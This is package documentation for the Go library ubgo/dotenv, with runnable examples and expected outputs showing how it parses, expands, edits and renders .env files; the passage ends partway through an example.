Example ¶
ExampleOpen opens a file from disk for reading and editing. Values come back raw: a ${reference} stays as written, so the file can be saved without flattening it.
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
func main() {
// envFile is the name the example writes inside its own temp directory.
const envFile = ".env"
dir, err := os.MkdirTemp("", "dotenv-open")
if err != nil {
fmt.Println(err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, envFile)
content := "DOMAIN=example.com\nAPI_URL=https://api.${DOMAIN}\n"
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
fmt.Println(err)
return
}
f, err := dotenv.Open(path)
if err != nil {
fmt.Println(err)
return
}
v, ok := f.Get("API_URL")
fmt.Println(v, ok)
fmt.Println("existed:", f.Existed())
}
Output: https://api.${DOMAIN} true existed: true
Example (Missing) ¶
ExampleOpen_missing shows that opening a file that does not exist is not an error: you get an empty File you can fill and Save, which creates it.
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
func main() {
// envFile is the name the example creates inside its own temp directory.
const envFile = ".env"
dir, err := os.MkdirTemp("", "dotenv-open-missing")
if err != nil {
fmt.Println(err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
f, err := dotenv.Open(filepath.Join(dir, envFile))
if err != nil {
fmt.Println(err)
return
}
fmt.Println("existed:", f.Existed(), "keys:", len(f.Keys()))
f.Set("PORT", "8080")
if err := f.Save(); err != nil {
fmt.Println(err)
return
}
data, err := os.ReadFile(filepath.Join(dir, envFile))
if err != nil {
fmt.Println(err)
return
}
fmt.Printf("%q\n", data)
}
Output: existed: false keys: 0 "PORT=8080\n"
func Parse ¶
Parse parses content directly, with no filesystem involved.
Useful for parsing a .env that arrived over a pipe, out of an embedded fixture, or from a secret store — and it makes the parser testable without touching disk.
Example ¶
ExampleParse parses a string with no filesystem involved: an embedded fixture, a value from a secret store, or a test input. Rendering it back gives the exact bytes it was parsed from.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = "# app\nPORT=8080\nexport NAME='my app'\n"
f := dotenv.Parse(content)
port, _ := f.Get("PORT")
name, _ := f.Get("NAME")
fmt.Println(port)
fmt.Println(name)
fmt.Println("round trip:", f.Render() == content)
}
Output: 8080 my app round trip: true
Example (SyntaxComments) ¶
ExampleParse_syntaxComments shows where a value ends and a comment begins. In a bare value a # starts a comment only when whitespace (space or tab) comes before it, so a password like a#b survives. Inside quotes a # is always part of the value.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "# a whole-line comment\n" +
" # an indented comment\n" +
"SPACE=value # comment\n" +
"TAB=value\t# comment\n" +
"NOSPACE=a#b\n" +
"QUOTED=\"a # b\" # comment\n" +
"SINGLE='a#b'#comment\n" +
"TRAILING=\"kept\" this text is dropped\n" +
"# DISABLED=off\n"
f := dotenv.Parse(src)
for _, key := range f.Keys() {
synShow(f, key)
}
for _, e := range f.Entries() {
if e.Kind != dotenv.KindPair {
fmt.Printf("%s %q\n", e.Kind, e.Raw[0])
}
}
}
Output: SPACE: Get="value" GetExpanded="value" TAB: Get="value" GetExpanded="value" NOSPACE: Get="a#b" GetExpanded="a#b" QUOTED: Get="a # b" GetExpanded="a # b" SINGLE: Get="a#b" GetExpanded="a#b" TRAILING: Get="kept" GetExpanded="kept" comment "# a whole-line comment" comment " # an indented comment" disabled-pair "# DISABLED=off"
Example (SyntaxDelimiter) ¶
ExampleParse_syntaxDelimiter shows the colon delimiter from the Docker Compose and Node dotenv grammars. KEY: value and KEY=value read the same. The catch: a line holding only a URL is also a colon pair, exactly as Compose reads it.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "EQUALS=a\n" +
"COLON: b\n" +
"TIGHT:c\n" +
"export SPACED : \"d e\"\n" +
"URL=http://example.com:8080\n" +
"http://example.com\n"
f := dotenv.Parse(src)
for _, key := range f.Keys() {
synShow(f, key)
}
}
Output: EQUALS: Get="a" GetExpanded="a" COLON: Get="b" GetExpanded="b" TIGHT: Get="c" GetExpanded="c" SPACED: Get="d e" GetExpanded="d e" URL: Get="http://example.com:8080" GetExpanded="http://example.com:8080" http: Get="//example.com" GetExpanded="//example.com"
Example (SyntaxDuplicates) ¶
ExampleParse_syntaxDuplicates shows duplicate keys. The last one wins for Get, GetExpanded and Map, matching every dotenv tool and Compose. Count and Pairs still show the earlier ones, so an authoring mistake stays visible.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "PORT=3000\n" +
"HOST=localhost\n" +
"PORT=8080\n"
f := dotenv.Parse(src)
synShow(f, "PORT")
fmt.Println("count:", f.Count("PORT"))
fmt.Println("keys:", f.Keys())
fmt.Println("pairs:", f.Pairs())
}
Output: PORT: Get="8080" GetExpanded="8080" count: 2 keys: [PORT HOST] pairs: [{PORT 3000} {HOST localhost} {PORT 8080}]
Example (SyntaxEncrypted) ¶
ExampleParse_syntaxEncrypted shows that an encrypted: value is stored and read verbatim. This package never decrypts; plug a ValueTransformer in for that. Single quotes keep a $ inside ciphertext from being read as a reference.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "TOKEN=encrypted:BFt4x9\n" +
"BARE=encrypted:ab$cd\n" +
"SAFE='encrypted:ab$cd'\n"
f := dotenv.Parse(src)
for _, key := range f.Keys() {
synShow(f, key)
}
}
Output: TOKEN: Get="encrypted:BFt4x9" GetExpanded="encrypted:BFt4x9" BARE: Get="encrypted:ab$cd" GetExpanded="encrypted:ab" SAFE: Get="encrypted:ab$cd" GetExpanded="encrypted:ab$cd"
Example (SyntaxKeys) ¶
ExampleParse_syntaxKeys shows which keys are pairs and what happens to a line that is not one. Keys use Docker Compose's charset: letters, digits, _ . - [ ]. Anything else, or a line with no delimiter and more than one word, is kept verbatim as KindOther and never becomes a key. A single bare name is a Compose inherited declaration.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "2FA_SECRET=a\n" +
"spring.datasource.url=b\n" +
"MY-SERVICE-TOKEN=c\n" +
"SERVICES[0]=d\n" +
"HAS KEY=e\n" +
"K!=f\n" +
"=no key\n" +
"Ké=g\n" +
"just some text\n" +
"HOME\n"
f := dotenv.Parse(src)
fmt.Println("keys:", f.Keys())
for _, e := range f.Entries() {
fmt.Printf("%-9s key=%q raw=%q\n", e.Kind, e.Key, e.Raw[0])
}
}
Output: keys: [2FA_SECRET spring.datasource.url MY-SERVICE-TOKEN SERVICES[0]] pair key="2FA_SECRET" raw="2FA_SECRET=a" pair key="spring.datasource.url" raw="spring.datasource.url=b" pair key="MY-SERVICE-TOKEN" raw="MY-SERVICE-TOKEN=c" pair key="SERVICES[0]" raw="SERVICES[0]=d" other key="" raw="HAS KEY=e" other key="" raw="K!=f" other key="" raw="=no key" other key="" raw="Ké=g" other key="" raw="just some text" inherited key="HOME" raw="HOME"
Example (SyntaxKinds) ¶
ExampleParse_syntaxKinds lists every Kind the parser assigns, one line each. Only KindPair entries are visible to Get, Keys, Map and GetExpanded; the rest are kept so Render can write the file back byte for byte.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "# note\n" +
"\n" +
"KEY=value\n" +
"# OLD=value\n" +
"HOME\n" +
"not a pair\n"
f := dotenv.Parse(src)
for _, e := range f.Entries() {
fmt.Printf("%-13s %q\n", e.Kind, e.Raw[0])
}
_, ok := f.Get("OLD")
fmt.Println("OLD visible to Get:", ok)
fmt.Println("round trip intact:", f.Render() == src)
}
Output: comment "# note" blank "" pair "KEY=value" disabled-pair "# OLD=value" inherited "HOME" other "not a pair" OLD visible to Get: false round trip intact: true
Example (SyntaxMultiline) ¶
ExampleParse_syntaxMultiline shows values that span several physical lines. A double-quoted, single-quoted or backtick value runs until its closing quote; the lines are joined with "\n". A bare value always ends at the end of its line.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "GREETING=\"line one\n" +
"line two\"\n" +
"PEM=`-----BEGIN KEY-----\n" +
"abc'\"def\n" +
"-----END KEY-----`\n" +
"LITERAL='a\n" +
"b'\n" +
"AFTER=still parsed\n"
f := dotenv.Parse(src)
for _, key := range f.Keys() {
synShow(f, key)
}
// Four keys, eight physical lines: each multi-line value is one entry.
fmt.Println("entries:", len(f.Entries()))
}
Output: GREETING: Get="line one\nline two" GetExpanded="line one\nline two" PEM: Get="-----BEGIN KEY-----\nabc'\"def\n-----END KEY-----" GetExpanded="-----BEGIN KEY-----\nabc'\"def\n-----END KEY-----" LITERAL: Get="a\nb" GetExpanded="a\nb" AFTER: Get="still parsed" GetExpanded="still parsed" entries: 4
Example (SyntaxQuotes) ¶
ExampleParse_syntaxQuotes shows the four ways to write a value and what each one does to whitespace and to a $reference. Bare and double-quoted values interpolate; single-quoted and backtick values never do.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "NAME=world\n" +
"BARE=hello $NAME \n" +
"DOUBLE=\"hello $NAME \"\n" +
"SINGLE='hello $NAME'\n" +
"BACKTICK=`it's \"hi\" $NAME`\n" +
"export EXPORTED=yes\n" +
" SPACED = padded value \n" +
"EMPTY=\n" +
"QUOTED_EMPTY=\"\"\n"
f := dotenv.Parse(src)
for _, key := range f.Keys() {
synShow(f, key)
}
}
Output: NAME: Get="world" GetExpanded="world" BARE: Get="hello $NAME" GetExpanded="hello world" DOUBLE: Get="hello $NAME " GetExpanded="hello world " SINGLE: Get="hello $NAME" GetExpanded="hello $NAME" BACKTICK: Get="it's \"hi\" $NAME" GetExpanded="it's \"hi\" $NAME" EXPORTED: Get="yes" GetExpanded="yes" SPACED: Get="padded value" GetExpanded="padded value" EMPTY: Get="" GetExpanded="" QUOTED_EMPTY: Get="" GetExpanded=""
Example (SyntaxUnterminated) ¶
ExampleParse_syntaxUnterminated shows what a missing closing quote does: the value keeps going to the end of the file and swallows every line after it. Nothing is lost on disk (Render is still byte-identical), but the keys after the bad line are no longer pairs.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
// synShow prints what Get and GetExpanded return for one key, side by side.
// Values are printed with %q so the characters that matter here (newlines,
// tabs, trailing spaces, backslashes) are visible instead of invisible.
func synShow(f *dotenv.File, key string) {
raw, ok := f.Get(key)
if !ok {
fmt.Printf("%s: not a pair\n", key)
return
}
expanded, _, err := f.GetExpanded(key)
if err != nil {
fmt.Printf("%s: Get=%q GetExpanded error: %v\n", key, raw, err)
return
}
fmt.Printf("%s: Get=%q GetExpanded=%q\n", key, raw, expanded)
}
func main() {
src := "OK=1\n" +
"BROKEN=\"no closing quote\n" +
"LATER=2\n"
f := dotenv.Parse(src)
fmt.Println("keys:", f.Keys())
synShow(f, "BROKEN")
synShow(f, "LATER")
fmt.Println("round trip intact:", f.Render() == src)
}
Output: keys: [OK BROKEN] BROKEN: Get="no closing quote\nLATER=2" GetExpanded="no closing quote\nLATER=2" LATER: not a pair round trip intact: true
func ParseReader ¶
ParseReader parses content read from r.
Prefer this over reading the bytes yourself. io.ReadAll returns a []byte and converting that to a string copies the whole thing again, on top of the doubling io.ReadAll does as its buffer grows. Copying into a strings.Builder hands its buffer to the string directly, so both costs disappear.
Measured on a ~1.4 MB file by BenchmarkParseLarge: 9.8 MB and 67 allocations against 13.0 MB and 93 for ReadAll-then-Parse. Re-run it rather than trusting these numbers — that is what the benchmark is for.
This matters once a .env carries a PEM block or a base64 certificate and runs to megabytes, which is common enough to design for.
The whole content is still held in memory, unavoidably: preserving a file byte for byte means keeping every line. This lowers the cost; it does not stream.
Example ¶
ExampleParseReader parses from any io.Reader: a pipe, an HTTP body, a file you already opened. It copies the input once, so it is the cheaper choice for large content compared with io.ReadAll followed by Parse.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
r := strings.NewReader("PORT=8080\nHOST=localhost\n")
f, err := dotenv.ParseReader(r)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(f.Keys())
}
Output: [PORT HOST]
func (*File) Append ¶
Append adds entries to the end of the file, exactly as given.
Append is LITERAL: it places what you hand it, duplicates included. That is the opposite of Set, which upserts to guarantee a single active entry. A generator wants literal placement; an editor wants upsert. Blurring the two is how a key silently moves.
f.Append(
dotenv.NewBlank(),
dotenv.NewComment("----------", "DATABASE", "----------"),
dotenv.NewPair("DB_HOST", "localhost"),
)
Example ¶
Append places entries at the end exactly as given. Use it to generate a file with banners, blank lines and sections.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("")
f.Append(
dotenv.NewComment("------------------", "DATABASE", "------------------"),
dotenv.NewPair("DB_HOST", "localhost"),
dotenv.NewPair("DB_PORT", "5432"),
dotenv.NewBlank(),
dotenv.NewComment("------------------", "AUTH", "------------------"),
dotenv.NewPair("AUTH_SECRET", "change me"),
)
fmt.Print(f.Render())
}
Output: # ------------------ # DATABASE # ------------------ DB_HOST=localhost DB_PORT=5432 # ------------------ # AUTH # ------------------ AUTH_SECRET="change me"
Example (UnterminatedQuote) ¶
If the file's last value opens a quote and never closes it, anything you append ends up INSIDE that value when the file is read back. The source was already broken; check files you did not write before appending to them.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse(`A="open`)
f.Append(dotenv.NewPair("APPENDED", "1"))
back := dotenv.Parse(f.Render())
_, found := back.Get("APPENDED")
a, _ := back.Get("A")
fmt.Println("APPENDED found:", found)
fmt.Printf("A=%q\n", a)
}
Output: APPENDED found: false A="open\nAPPENDED=1"
Example (Verbatim) ¶
An entry taken from another file's Entries is copied verbatim: its quotes, spacing, comment and even its own line ending come along unchanged. This is also the way to write a reference such as ${HOST} into a file, since Set stores a value containing '$' literally.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := dotenv.Parse("API_URL = https://${HOST}/v1 # follows HOST\n")
dst := dotenv.Parse("HOST=api.example.com\n")
dst.Append(src.Entries()[0])
v, _, err := dst.GetExpanded("API_URL")
if err != nil {
fmt.Println("expand:", err)
return
}
fmt.Print(dst.Render())
fmt.Printf("GetExpanded=%q\n", v)
}
Output: HOST=api.example.com API_URL = https://${HOST}/v1 # follows HOST GetExpanded="https://api.example.com/v1"
Example (VsSet) ¶
Set upserts: one active entry. Append is literal: it adds a second entry, and the last one wins when the file is read.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
upsert := dotenv.Parse("A=1\n")
upsert.Set("A", "2")
literal := dotenv.Parse("A=1\n")
literal.Append(dotenv.NewPair("A", "2"))
fmt.Printf("Set: %q count=%d\n", upsert.Render(), upsert.Count("A"))
fmt.Printf("Append: %q count=%d\n", literal.Render(), literal.Count("A"))
}
Output: Set: "A=2\n" count=1 Append: "A=1\nA=2\n" count=2
func (*File) Clone ¶
Clone returns an independent copy: editing either leaves the other untouched.
Cheaper and more faithful than Parse(f.Render()) — no re-parsing, and entries keep the exact Raw bytes they were read with, including any the parser would classify differently on a second pass.
Example ¶
Clone makes an independent copy. Change only what differs and every other line, references included, stays byte-identical.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
staging := dotenv.Parse("# shared\nDOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\nSECRET=${VAULT_TOKEN:?set me}\n")
prod := staging.Clone()
prod.Set("DOMAIN", "acme.io")
fmt.Print(prod.Render())
api, _, err := prod.GetExpanded("API_URL")
if err != nil {
fmt.Println("expand:", err)
return
}
fmt.Println("prod API_URL:", api)
orig, _ := staging.Get("DOMAIN")
fmt.Println("staging DOMAIN:", orig)
}
Output: # shared DOMAIN=acme.io API_URL=https://api.${DOMAIN} SECRET=${VAULT_TOKEN:?set me} prod API_URL: https://api.acme.io staging DOMAIN: staging.acme.io
Example (Baked) ¶
Building a new file from ExpandedMap instead of cloning bakes every reference into a fixed value. Change DOMAIN later and API_URL no longer follows it.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
staging := dotenv.Parse("DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n")
values, err := staging.ExpandedMap()
if err != nil {
fmt.Println("expand:", err)
return
}
baked := dotenv.Parse("")
for _, k := range staging.Keys() { // Keys keeps file order; a map would not
baked.Set(k, values[k])
}
baked.Set("DOMAIN", "acme.io")
api, _, err := baked.GetExpanded("API_URL")
if err != nil {
fmt.Println("expand:", err)
return
}
fmt.Println(api)
}
Output: https://api.staging.acme.io
func (*File) Count ¶
Count returns how many ACTIVE pair entries exist for key.
Duplicates are worth surfacing: only the last is effective, so a caller that silently ignores the others hides a real authoring mistake.
Example ¶
ExampleFile_Count reports how many active lines share a key. Anything above one is a duplicate: only the last line is in effect, the others are dead weight a reviewer should know about.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
f := dotenv.Parse(content)
for _, key := range f.Keys() {
if n := f.Count(key); n > 1 {
fmt.Printf("%s is set %d times\n", key, n)
}
}
fmt.Println("DB_USER:", f.Count("DB_USER"))
}
Output: DB_HOST is set 2 times DB_USER: 0
func (*File) Disabled ¶
Disabled returns the commented-out settings in file order.
These are inactive — Get and Map ignore them — but visible, so a tool can report "DB_USER is disabled" rather than "DB_USER is missing", which are different problems with different fixes.
Example ¶
Disabled lists the commented-out settings in file order. They are not active: Get and Has ignore them, just as an app reading the file would.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("# DB_USER=admin\n# just a note\nDB_HOST=localhost\n#DEBUG=true\n")
for _, p := range f.Disabled() {
fmt.Printf("%s=%s\n", p.Key, p.Value)
}
fmt.Println("Has(DB_USER):", f.Has("DB_USER"))
}
Output: DB_USER=admin DEBUG=true Has(DB_USER): false
func (*File) Entries ¶
Entries returns the parsed entries in file order, including comments and blanks — the view a linear read of the file would give.
Example ¶
ExampleFile_Entries walks every entry in file order, comments and blanks included. This is the view for tools that inspect structure, such as a linter that flags disabled settings or unrecognised lines.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
# DB_USER=admin
HOME
not a setting
`
f := dotenv.Parse(content)
for _, e := range f.Entries() {
switch e.Kind {
case dotenv.KindPair:
fmt.Printf("%-13s %s=%s\n", e.Kind, e.Key, e.Value)
case dotenv.KindDisabledPair:
fmt.Printf("%-13s %s (off, would be %s)\n", e.Kind, e.Key, e.Value)
case dotenv.KindInherited:
fmt.Printf("%-13s %s (from the environment)\n", e.Kind, e.Key)
default:
fmt.Printf("%-13s %q\n", e.Kind, e.Raw[0])
}
}
}
Output: comment "# database" pair DB_HOST=localhost disabled-pair DB_USER (off, would be admin) blank "" inherited HOME (from the environment) other "not a setting"
func (*File) Existed ¶
Existed reports whether the file was present when Open ran. False means Save will create it.
Example ¶
ExampleFile_Existed tells a freshly created file apart from one that was already on disk. A File from Parse never existed on disk.
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
func main() {
// envFile is the name the example writes inside its own temp directory.
const envFile = ".env"
dir, err := os.MkdirTemp("", "dotenv-existed")
if err != nil {
fmt.Println(err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, envFile)
before, err := dotenv.Open(path)
if err != nil {
fmt.Println(err)
return
}
if err := os.WriteFile(path, []byte("A=1\n"), 0o600); err != nil {
fmt.Println(err)
return
}
after, err := dotenv.Open(path)
if err != nil {
fmt.Println(err)
return
}
fmt.Println("before writing:", before.Existed())
fmt.Println("after writing:", after.Existed())
fmt.Println("from Parse:", dotenv.Parse("A=1\n").Existed())
}
Output: before writing: false after writing: true from Parse: false
func (*File) ExpandedMap ¶
ExpandedMap is Map with every value expanded. It stops at the first RequiredError rather than returning a half-expanded map.
Only the effective (last) entry for each key is expanded, so every value equals what GetExpanded returns for that key. Expanding an overridden duplicate as well would let a dead line fail the whole map — `B=${NOPE:?x}` followed by `B=ok` must read as "ok", not as an error.
Example ¶
ExampleFile_ExpandedMap expands every pair into one map (last duplicate wins). If any value hits an unsatisfied ${VAR:?msg} or ${VAR?msg}, it returns a nil map and that first error, never a half-expanded map.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
good := dotenv.Parse("HOST=db\nURL=postgres://${HOST}\nRAW='${HOST}'\n")
m, err := good.ExpandedMap()
fmt.Println(m, err)
bad := dotenv.Parse("A=ok\nB=${NEED_ONE:?first}\nC=${NEED_TWO:?second}\n")
m, err = bad.ExpandedMap()
fmt.Println(m == nil, err)
}
Output: map[HOST:db RAW:${HOST} URL:postgres://db] <nil> true dotenv: required variable NEED_ONE is not set or is empty: first
func (*File) Get ¶
Get returns the raw value for key.
With duplicate keys the LAST one wins, matching dotenv and Compose semantics: what Get reports is what a consumer of the file would actually see.
Example ¶
ExampleFile_Get reads one raw value. With a duplicated key the LAST active line wins, a commented-out setting is not found, and neither is a name-only (inherited) line.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
f := dotenv.Parse(content)
for _, key := range []string{"DB_HOST", "DB_PORT", "DB_USER", "HOME", "NOPE"} {
v, ok := f.Get(key)
fmt.Printf("%s: %q %v\n", key, v, ok)
}
}
Output: DB_HOST: "db.internal" true DB_PORT: "5432" true DB_USER: "" false HOME: "" false NOPE: "" false
func (*File) GetExpanded ¶
GetExpanded is Get with references resolved against the other entries in the same file — the interpolation Docker Compose performs when IT reads the .env.
It exists for consumers that read the file THEMSELVES rather than through compose. Without it, a value authored as a reference — ADMIN_PASS=${SECRET} — reaches such a consumer as the literal string "${SECRET}" instead of the shared secret.
The error is non-nil only for a ${VAR:?message} or ${VAR?message} reference whose variable is unsatisfied; see RequiredError. Every other unresolved reference expands to "" rather than failing, matching Compose.
Get stays the right call for anything written back to disk: expansion must feed what a consumer READS, never what is persisted, or a reference would be flattened into a copy of its target and the link lost.
Example ¶
ExampleFile_GetExpanded shows the difference between the raw value on disk (Get) and the value a consumer sees once references to other keys in the same file are resolved (GetExpanded). Both ${VAR} and $VAR work; a bare $VAR ends at the first character that cannot be part of a name.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "HOST=db.internal\n" +
"PORT=5432\n" +
"URL=postgres://${HOST}:$PORT/app\n" +
"MISSING=[${NOT_IN_FILE}]\n"
f := dotenv.Parse(src)
raw, _ := f.Get("URL")
url, ok, err := f.GetExpanded("URL")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("Get: ", raw)
fmt.Println("GetExpanded:", url, ok)
// An unresolved reference is "", never an error.
missing, _, err := f.GetExpanded("MISSING")
fmt.Println("MISSING: ", missing, err)
// A key that does not exist reports ok=false.
_, ok, err = f.GetExpanded("NOPE")
fmt.Println("NOPE found: ", ok, err)
}
Output: Get: postgres://${HOST}:$PORT/app GetExpanded: postgres://db.internal:5432/app true MISSING: [] <nil> NOPE found: false <nil>
Example (Dollar) ¶
ExampleFile_GetExpanded_dollar shows how the character after a $ decides what it means: $$ is one literal dollar, ${ and a letter or _ start a reference, and anything else (a digit, a space, the end of the value) is a plain dollar sign. A backslash does not escape a dollar; use $$.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "NAME=world\n" +
"ESCAPED=$${NAME} and $$NAME\n" +
"PRICE=costs $5 or 5$\n" +
"THREE=$$$\n" +
"BACKSLASH=\"\\$NAME\"\n" +
"UNCLOSED=${NAME\n"
f := dotenv.Parse(src)
for _, key := range []string{"ESCAPED", "PRICE", "THREE", "BACKSLASH", "UNCLOSED"} {
got, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println(key, "error:", err)
continue
}
fmt.Printf("%s=%q\n", key, got)
}
}
Output: ESCAPED="${NAME} and $NAME" PRICE="costs $5 or 5$" THREE="$$" BACKSLASH="\\world" UNCLOSED="${NAME"
Example (Literal) ¶
ExampleFile_GetExpanded_literal shows that quoting decides whether a value is expanded at all. Bare and double-quoted values are; single-quoted and backtick values are returned exactly as written, $$ and all, and stay literal when another key refers to them (REF).
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "USER_NAME=ada\n" +
"BARE=${USER_NAME} $$\n" +
"DOUBLE=\"${USER_NAME} $$\"\n" +
"SINGLE='${USER_NAME} $$'\n" +
"BACKTICK=`${USER_NAME} $$`\n" +
"REF=${SINGLE}\n"
f := dotenv.Parse(src)
for _, key := range []string{"BARE", "DOUBLE", "SINGLE", "BACKTICK", "REF"} {
got, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println(key, "error:", err)
continue
}
fmt.Printf("%s=%q\n", key, got)
}
}
Output: BARE="ada $" DOUBLE="ada $" SINGLE="${USER_NAME} $$" BACKTICK="${USER_NAME} $$" REF="${USER_NAME} $$"
Example (Names) ¶
ExampleFile_GetExpanded_names shows which key names a reference can reach. Inside ${...} the name runs up to the first operator character, so a key with a dash cannot be referenced: ${MY-KEY} means "MY, default KEY". A bare $name stops at the first character that is not a letter, digit or _.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "MY-KEY=dashed\n" +
"spring.url=dotted\n" +
"DASH=${MY-KEY}\n" +
"BRACED_DOT=${spring.url}\n" +
"BARE_DOT=$spring.url\n"
f := dotenv.Parse(src)
